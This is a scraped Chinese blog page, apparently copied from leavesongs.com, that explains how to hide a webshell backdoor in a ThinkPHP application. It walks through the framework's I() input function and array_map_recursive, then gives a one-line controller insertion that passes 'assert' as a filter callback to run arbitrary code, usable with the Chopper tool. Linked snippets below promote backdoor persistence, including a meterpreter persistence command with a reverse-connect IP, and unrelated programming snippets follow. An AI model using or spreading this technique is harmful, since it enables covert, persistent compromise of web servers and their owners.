原文链接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html
90sec上有人问,我说了还有小白不会用。去年我审计TP的时候留意到的,干脆分析一下代码和操作过程。
thinkphp的I函数,是其处理输入的函数,一般用法为I('get.id')——从$_GET数组中取出键为id的值,post、cookie类似。
let me see see I函数的代码:
01 |
function I( $name , $default = '' , $filter = null, $datas = null) |
08 |
$filters = isset( $filter ) ? $filter : C( 'DEFAULT_FILTER' ); |
10 |
if ( is_string ( $filters )) { |
11 |
$filters = explode ( ',' , $filters ); |
13 |
foreach ( $filters as $filter ) { |
14 |
$data = array_map_recursive( $filter , $data ); // 参数过滤 |
17 |
} elseif (isset( $input [ $name ])) { |
19 |
$data = $input [ $name ]; |
20 |
$filters = isset( $filter ) ? $filter : C( 'DEFAULT_FILTER' ); |
22 |
if ( is_string ( $filters )) { |
23 |
if (0 === strpos ( $filters , '/' )) { |
24 |
if (1 !== preg_match( $filters , (string) $data )) { |
26 |
return isset( $default ) ? $default : null; |
29 |
$filters = explode ( ',' , $filters ); |
31 |
} elseif ( is_int ( $filters )) { |
32 |
$filters = array ( $filters ); |
35 |
if ( is_array ( $filters )) { |
36 |
foreach ( $filters as $filter ) { |
37 |
if (function_exists( $filter )) { |
38 |
$data = is_array ( $data ) ? array_map_recursive( $filter , $data ) : $filter ( $data ); // 参数过滤 |
40 |
$data = filter_var( $data , is_int ( $filter ) ? $filter : filter_id( $filter )); |
41 |
if (false === $data ) { |
42 |
return isset( $default ) ? $default : null; |
I函数的第三个参数是$filter,作用是对变量的过滤。
新版本(3.2.3)中,$filter可以传入两种4种值:
1.一个过滤函数(字符串)
2.一些过滤函数组成的字符串,其间用“|”分割
3.一些过滤函数的字符串组成的数组
4.以“/”开头的正则表达式
可见代码,若$filter为空的话,其默认值为C('DEFAULT_FILTER')。我们在配置文件中可以看到,DEFAULT_FILTER=htmlspecialchars

以上4个情况最后归为两个,1是过滤回调函数,2是过滤的正则。正则部分如下:
1 |
if (0 === strpos ( $filters , '/' )) { |
2 |
if (1 !== preg_match( $filters , (string) $data )) { |
4 |
return isset( $default ) ? $default : null; |
如果第0个字符是/,则说明传入的是正则,用preg_match进行匹配验证,不匹配则返回默认值$default。
而回调函数部分,是我们留后门的关键。核心是这一段:
01 |
if ( is_array ( $filters )) { |
02 |
foreach ( $filters as $filter ) { |
03 |
if (function_exists( $filter )) { |
04 |
$data = is_array ( $data ) ? array_map_recursive( $filter , $data ) : $filter ( $data ); // 参数过滤 |
06 |
$data = filter_var( $data , is_int ( $filter ) ? $filter : filter_id( $filter )); |
07 |
if (false === $data ) { |
08 |
return isset( $default ) ? $default : null; |
如果函数存在,则直接调用array_map_recursive执行。如果函数不存在,则用php默认的过滤器filter_var进行过滤。
我们跟进array_map_recursive函数:
01 |
function array_map_recursive( $filter , $data ) |
04 |
foreach ( $data as $key => $val ) { |
05 |
$result [ $key ] = is_array ( $val ) |
06 |
? array_map_recursive( $filter , $val ) |
07 |
: call_user_func( $filter , $val ); |
明显是一个递归执行的过程,最后调用的是call_user_func 。
还记得我说过的php回调后门么(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,居然给我们预置了一个回调后门,让我们可以万分隐蔽的留下webshell。
所以,我们只需要随意找个controller,在可访问的方法中插入:
1 |
I( 'post.90sec' , '' , I( 'get.i' )); |
如上,第三个参数就是刚说的$filter,我们只需要把回调后门函数名字(assert)作为第三个参数传入,即可构造一个回调后门。
我就拿thinkphp默认的IndexController下的index方法示例:

如下即可执行任意代码:

一个回调后门,菜刀也可以连接。
- 使用大白菜U盘进入PE后再次重启电脑会留后门的清理方法
使用大白菜U盘进入PE后再次重启电脑会留后门,这个后门主要是自动下载安装一些软件,比如金山毒霸等. 清除方法: 1.每次用完PE重启前,清理以下地方: ①c:\Windows\xxxxx.exe(查看 ...
- 入侵者已经拿到了主机的管理员权限,请你列举几种留后门的方法:(windows和LINUX系统均可)
Webshell后门 XSS后门 远控后门&rootit(windows&LINUX) SSH后门 SHIFT终端服务器后门 系统用户账号克隆 SQL数据库扩展存储型后门 SQL数据库 ...
- meterpreter 如何留后门,使攻击持久化
安装后门方法一:meterpreter >run persistence -X -i 5 -p 443 -r 192.168.0.108 Persistent agent script is 6 ...
- thinkphp网站后门-发现后门(Webshell)文件
不知道能不能解决, 1.登录阿里云后台,找到后门文件删除 2.执行 中国镜像 composer config -g repo.packagist composer https://packagist. ...
- ASPX版菜刀一句话,留后门专用
首先解释一下为什么要做这个玩意:众所周知.net一句话是不能插入到文件之中的,除非那个页面使用Jscript编写,但是现在看来 Jscript市场很低,遇到的.net站基本都是C#.新建一个SHELL ...
- PHP之编写日志文件留后门(免杀)
(我知道你们都喜欢干货,所以也没亏待你们,请到文末吧,成果附件已上传~) 本文原创作者:Laimooc(原名xoanHn) 鄙人宗旨: 本人秉着爱学习爱恶搞爱研究爱进步并且遵纪守法的心态写下这篇文章, ...
- 奇淫异巧之 PHP 后门
整理大部分来源信安之路 对于隐蔽来说,有以下几点要素: 1.熟悉环境,模拟环境,适应环境,像一只变色龙一样隐藏 2.清除痕迹,避免运维发现 3.避免后门特征值被 D 盾等工具检测到 姿势 一般过狗思路 ...
- PHP后门隐藏与维持技巧
在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普. AD: 0×00 ...
- OpenSSH后门获取root密码及防范
OpenSSH后门获取root密码及防范 相对于Windows操作系统,Linux操作系统的密码较难获取.而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,可以通过修改或者 ...
随机推荐
- LR连接oracle时出现:SQLState=28000[Oracle][ODBC][Ora]ORA-01017:invalid username/password;logon denied
出现的现象:
- 用js完成毫秒格式数据的日期格式化任务
后台传过来的数据 creationTime 在后台是Date类型的 毫秒转换成 05-24 月 日格式的 //获得月日得到日期oTime function getMoth(str){ var ...
- 性能优化之Java(Android)代码优化
最新最准确内容建议直接访问原文:性能优化之Java(Android)代码优化 本文为Android性能优化的第三篇——Java(Android)代码优化.主要介绍Java代码中性能优化方式及网络优化, ...
- iOS10 UI教程视图和子视图的可见性
iOS10 UI教程视图和子视图的可见性 iOS10 UI教程视图和子视图的可见性,一个父视图可以通过clipsToBounds属性,定义子视图在边界(边界就是父视图的框架也就是父视图可以显示的范围) ...
- android测试点汇总
Android的功能测试点 安装\卸载 App具体功能点 联网(默认的联网方式是什么?Wifi orSim卡?网络切换是否有相应的提示说明?飞行模式) 程序进入输入功能时,是否正常弹出键盘;键盘是否遮 ...
- jQuery实现等比例缩放大图片
在布局页面时,有时会遇到大图片将页面容器“撑破”的情况,尤其是加载外链图片(通常是通过采集的外站的图片).那么本文将为您讲述使用jQuery如何按比例缩放大图片,让大图片自适应页面布局. 通常我们 ...
- Unity 状态转化机器
using System; using System.Collections; using System.Collections.Generic; using UnityEngine; /** 有限状 ...
- Codeforces Round #216 (Div. 2) B. Valera and Contest
#include <iostream> #include <algorithm> #include <vector> using namespace std; in ...
- UIView 的属性opaque详解
该属性用法决定与该消息的接受者是否让其视图透明. 该属性的用处在于:给绘图系统提供一个性能优化开关. 当该值设计为YES,那么绘图系统会把它当作不透明看待,那么在执行绘图的时候会优化绘图一些操作,并且 ...
- 洛谷 P1379 八数码难题 Label:判重&&bfs
特别声明:紫书上抄来的代码,详见P198 题目描述 在3×3的棋盘上,摆有八个棋子,每个棋子上标有1至8的某一数字.棋盘中留有一个空格,空格用0来表示.空格周围的棋子可以移到空格中.要求解的问题是:给 ...